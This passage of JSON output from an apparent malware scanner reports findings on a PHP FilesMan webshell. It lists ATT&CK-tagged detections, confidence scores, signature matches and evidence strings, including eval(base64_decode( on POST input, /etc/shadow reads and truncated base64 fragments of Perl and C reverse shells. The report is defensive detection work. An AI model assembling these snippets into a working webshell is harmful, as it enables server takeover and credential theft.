}, { "a": "T1505.003", "c": 0.949999988079071, "d": "FilesMan webshell family", "e": [ "FilesMan" ], "i": "well-known/malware/webshell/family::filesman", "l": 4, "m": "B0030" }, { "a": "T1082", "c": 0.699999988079071, "d": "Gets effective UID of current process", "e": [ "posix_geteuid" ], "i": "objectives/discovery/system/fingerprint/info::posix-geteuid", "l": 3, "m": "E1082" }, { "c": 0.8999999761581421, "d": "system fallback function name", "e": [ "system" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-system-name", "l": 1, "m": "B0030" }, { "a": "T1071", "c": 0.6000000238418579, "d": "URL with .php endpoint", "e": [ "http://milw0rm.com/search.php" ], "i": "objectives/command-and-control/infrastructure/domain/tld::php-endpoint-url", "l": 1 }, { "c": 0.7599999904632568, "d": "Regex component marker", "e": [ "directory" ], "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-21", "l": 1 }, { "c": 1.0, "d": ".cmd extension", "e": [ ".cmd" ], "i": "metadata/file/extension::cmd-ext", "l": 1 }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "PHP request superglobal access", "e": [ "$_POST" ], "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call", "l": 3, "m": "B0030" }, { "c": 0.800000011920929, "d": "Writes data to an open file", "e": [ "fwrite" ], "i": "micro-behaviors/fs/write/file/direct::fwrite", "l": 3, "m": "C0052" }, { "a": "T1071.001", "c": 0.6499999761581421, "d": "httpd.conf configuration file", "e": [ "httpd.conf" ], "i": "micro-behaviors/communications/http/server/listener::httpd-conf-path", "l": 3, "m": "C0002" }, { "c": 0.699999988079071, "d": "python interpreter keyword (beyond shebang)", "e": [ "python" ], "i": "micro-behaviors/process/interpreter/python::python-keyword", "l": 3 }, { "c": 0.75, "d": "Inline password token in lure", "e": [ "password name=pass" ], "i": "objectives/lateral-movement/social-engineering/lures::inline-password-token", "l": 1 }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches alt exec functions", "e": [ "passthru($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-alt", "l": 3, "m": "E1059" }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "multipart/form-data content type", "e": [ "multipart/form-data" ], "i": "micro-behaviors/communications/http/post::multipart-form", "l": 1, "m": "C0002" }, { "c": 0.8999999761581421, "d": "/etc/shadow password file access", "e": [ "/etc/shadow" ], "i": "micro-behaviors/os/privilege/paths::etc-shadow", "l": 3 }, { "a": "T1082", "d": "Accesses SERVER_NAME variable", "e": [ "$_SERVER['SERVER_NAME']" ], "i": "objectives/discovery/system/fingerprint/info::server-name-access", "l": 3, "m": "E1082" }, { "a": "T1071.001", "d": "listen() socket call", "e": [ "listen" ], "i": "micro-behaviors/communications/http/server/listener::listen-keyword", "l": 3, "m": "C0002" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches core exec functions", "e": [ "exec($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-core", "l": 3, "m": "E1059" }, { "a": "T1027", "c": 0.8500000238418579, "d": "Multiple long lines (\u003e1000 chars)", "e": [ "text.lines_over_1000 = 6.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines", "l": 2, "m": "B0032" }, { "c": 0.8999999761581421, "d": "netstat command", "e": [ "netstat" ], "i": "micro-behaviors/os/network/status::netstat", "l": 3 }, { "c": 0.699999988079071, "d": "AJAX request handler pattern", "e": [ "$_POST['p2']", "$_POST['c']", "$_POST['a']", "$_POST['p3']", "$_POST['pass']", "$_POST['charset']", "$_POST['p1']" ], "i": "objectives/command-and-control/backdoor/webshell/ui::ajax-handler", "l": 4, "m": "B0030" }, { "a": "T1082", "c": 0.6000000238418579, "d": "Linux platform detection marker", "e": [ "Linux", "Linux Kernel ", "list file attributes on a Linux second extended file system" ], "i": "objectives/discovery/system/fingerprint/os::os-check-linux", "l": 2, "m": "B0012" }, { "a": "T1046", "c": 0.6000000238418579, "d": "FTP port number (21)", "e": [ "port ? $port : 21" ], "i": "objectives/discovery/network/scan/port::port-number-ftp", "l": 1, "m": "E1046" }, { "c": 0.8500000238418579, "d": "Checks User-Agent for crawler detection", "e": [ "$_SERVER['HTTP_USER_AGENT']" ], "i": "objectives/anti-analysis/browser-detect::check-ua-server-var", "l": 3 }, { "c": 0.4000000059604645, "d": "XMLHttpRequest API reference", "e": [ "XMLHttpRequest" ], "i": "micro-behaviors/communications/http/request/client::xmlhttprequest-word", "l": 3 }, { "c": 0.800000011920929, "d": "Hardcoded loopback IPv4 address", "e": [ "\"127.0.0.1\"" ], "i": "micro-behaviors/communications/ip/literal::loopback-ipv4-source", "l": 2 }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account mysql", "e": [ "mysql" ], "i": "objectives/lateral-movement/brute-force/password::service-account-mysql", "l": 1, "m": "E1110" }, { "c": 0.699999988079071, "d": "Remove execution time limit", "e": [ "set_time_limit" ], "i": "micro-behaviors/process/control/signal::set-time-limit", "l": 3 }, { "c": 0.6000000238418579, "d": "Very long base64 strings present", "e": [ "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAk", "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lO", "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRy", "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRs", "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICph" ], "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings", "l": 3 }, { "c": 1.0, "d": "Windows path-like string pattern", "e": [ "a:\\\\w+" ], "i": "micro-behaviors/data/text/path::windows-path-like-string", "l": 2 }, { "a": "T1046", "c": 0.6000000238418579, "d": "HTTP port number (80)", "e": [ "Port 80" ], "i": "objectives/discovery/network/scan/port::port-number-http", "l": 1, "m": "E1046" }, { "a": "T1082", "c": 0.6000000238418579, "d": "Windows platform detection marker", "e": [ "Windows-1251" ], "i": "objectives/discovery/system/fingerprint/os::os-check-windows", "l": 2, "m": "B0012" }, { "a": "T1033", "c": 0.800000011920929, "d": "/etc/passwd user database", "e": [ "/etc/passwd" ], "i": "micro-behaviors/fs/path/config/accounts::etc-passwd", "l": 2 }, { "c": 0.6000000238418579, "d": "Base64-encoded HTTP protocol fragment", "e": [ "aHR0cDovL" ], "i": "objectives/exfiltration/oob/endpoint::http-b64", "l": 1 }, { "c": 0.699999988079071, "d": "perl interpreter keyword (beyond shebang)", "e": [ "perl" ], "i": "micro-behaviors/process/interpreter/perl::perl-keyword", "l": 3 }, { "a": "T1562.001", "c": 0.800000011920929, "d": "Reads multiple PHP security restrictions", "e": [ "ini_get('disable_functions", "ini_get('safe_mode", "ini_get('open_basedir" ], "i": "objectives/evasion/security-bypass/runtime::security-restriction-probe", "l": 4, "m": "B0032" }, { "c": 0.8999999761581421, "d": "PHP MySQL administration surface", "e": [ "mysql_connect", "SHOW CREATE TABLE", "mysql_query", "SHOW TABLES" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-admin-surface", "l": 3 }, { "d": "SQL statement keywords", "e": [ "CREATE TABLE", "SELECT datname FROM", "INSERT INTO" ], "i": "micro-behaviors/data/db/conn/sql::sql-keywords", "l": 3 }, { "a": "T1505.003", "c": 0.9800000190734863, "d": "Payload includes file management features (upload, list, delete)", "e": [ "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAk", "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRy", "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lO", "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRs", "move_uploaded_file", "scandir", "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICph", "unlink" ], "i": "objectives/command-and-control/backdoor/webshell/stager::php-file-manager-payload", "l": 4 }, { "c": 0.800000011920929, "d": "Account configuration file access", "e": [ "/etc/passwd", "/etc/shadow" ], "i": "micro-behaviors/fs/path/config/accounts::account-files", "l": 3 }, { "c": 0.949999988079071, "d": "Falls back through multiple PHP execution functions", "e": [ "passthru", "system" ], "i": "objectives/command-and-control/backdoor/webshell/exec::php-execution-fallback-chain", "l": 4, "m": "B0030" }, { "a": "T1070.004", "c": 1.0, "d": "Recursive directory cleanup in PHP", "e": [ "scandir", "unlink", "rmdir" ], "i": "objectives/evasion/self-delete/scripts::php-recursive-delete", "l": 4 }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP decoder eval webshell", "e": [ "eval(base64_decode(", "eval", "$_POST", "$_POST['p1']" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::php-decoder-eval-webshell", "l": 5, "m": "B0030" }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "Stealthy file manager stager (uses error suppression)", "e": [ "@session_start()", "@disk_total_space($GLOBALS['cwd'])", "@set_time_limit(0)", "@ini_set('error_log', NULL)", "@ini_get('safe_mode')", "@error_reporting(0)", "@chdir($_POST['c'])", "@ini_set('max_execution_time', 0)", "@ini_get('disable_functions')", "@define('SELF_PATH', __FILE__)", "@getcwd()", "@define('VERSION', '2.1')", "@set_magic_quotes_runtime(0)", "@diskfreespace($GLOBALS['cwd'])", "@ini_set('log_errors', 0)" ], "i": "objectives/command-and-control/backdoor/webshell/stager::php-stealthy-file-manager-stager", "l": 5 }, { "a": "T1566.002", "c": 0.8500000238418579, "d": "PHP script writing POST data to local file", "e": [ "$_POST" ], "i": "objectives/credential-access/phishing/tactics::php-credential-exfiltration", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP administrative webshell UI", "e": [ ".mysql_history", "/etc/passwd", "ini_get('disable_functions", "find . -type f", ".bash_history", "ini_get('safe_mode", "netstat -an" ], "i": "objectives/command-and-control/backdoor/webshell/ui::php-admin-webshell-ui", "l": 5, "m": "B0030" }, { "c": 0.9200000166893005, "d": "Detects delete-and-recreate file pattern", "e": [ "file_put_contents", "fopen(\"2ww.php\", \"w+\"" ], "i": "objectives/impact/infect/script::php-unlink-recreate-pattern", "l": 3 }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Encoded payload detected: base64", "e": [ "$visitcount = $HTTP_COOKIE_VARS[\"visits\" \u003cbase64\u003e", "#!/usr/bin/perl use Socket; $iaddr=ine \u003cbase64\u003e", "#include \u003cstdio.h\u003e #include \u003csys/socket \u003cbase64\u003e", "#include \u003cstdio.h\u003e #include \u003cstring.h\u003e \u003cbase64\u003e", "#!/usr/bin/perl $SHELL=\"/bin/sh -i\"; i \u003cbase64\u003e" ], "i": "metadata/encoded-payload/base64", "l": 3 }, { "c": 0.8999999761581421, "d": "Webshell FilesMan", "e": [ "\u003c126 bytes\u003e", "\u003c128 bytes\u003e" ], "i": "third_party/JPCERT/filesman/webshell_filesman_base64", "l": 4 }, { "c": 0.8999999761581421, "d": "Web Shell - file 404.php", "e": [ "\u003cspan\u003ePosix_getpwuid (\"Read\" /etc/passwd)" ], "i": "third_party/SigBase/Webshell/PHP", "l": 5 }, { "c": 0.8999999761581421, "d": "Semi-Auto-generated - from files multiple_php_webshells", "e": [ "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI", "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0" ], "i": "third_party/SigBase/Multiple/Php/Webshells", "l": 5 }, { "c": 0.8999999761581421, "d": "php webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings", "e": [ "addslashes", "\u003c?php", "\u003c?=$", "\u003c?" ], "i": "third_party/SigBase/EXT/WEBSHELL/PHP/Generic", "l": 5 }, { "c": 0.8999999761581421, "d": "php webshell containing base64 encoded payload", "e": [ "\u003c?", "BvcGVu", "leGVj", "N5c3Rlb", "leGVjd", "zeXN0ZW", "base64_decode" ], "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads", "l": 5 }, { "c": 0.8999999761581421, "d": "Generic PHP webshell which uses any eval/exec function in the same line with user input", "e": [ "eval($_POST" ], "i": "third_party/SigBase/WEBSHELL/PHP/Generic/Eval", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell which directly eval()s obfuscated string", "e": [ "\u003c?=$", "\u003c?php", "\u003c?", "eval(base64_decode(" ], "i": "third_party/SigBase/WEBSHELL/PHP/Gzinflated", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k", "e": [ "$_SESSION[md5($", "\u003c?", "$cwd[strlen($", "\u003c?php" ], "i": "third_party/SigBase/WEBSHELL/PHP/Dynamic/Big", "l": 5 }, { "c": 0.8999999761581421, "d": "Webshell which sends eval/assert via GET", "e": [ "$_POST['p1']($_POST[" ], "i": "third_party/SigBase/WEBSHELL/PHP/Function/Via/Get", "l": 5 } ], "sha": "9e1a9cf2832a21565975c3ad0c70c25a00c30991b691975adc80ad52ecd12f32", "path": "wew", "type": "php" } ], "tv": "a9555" } }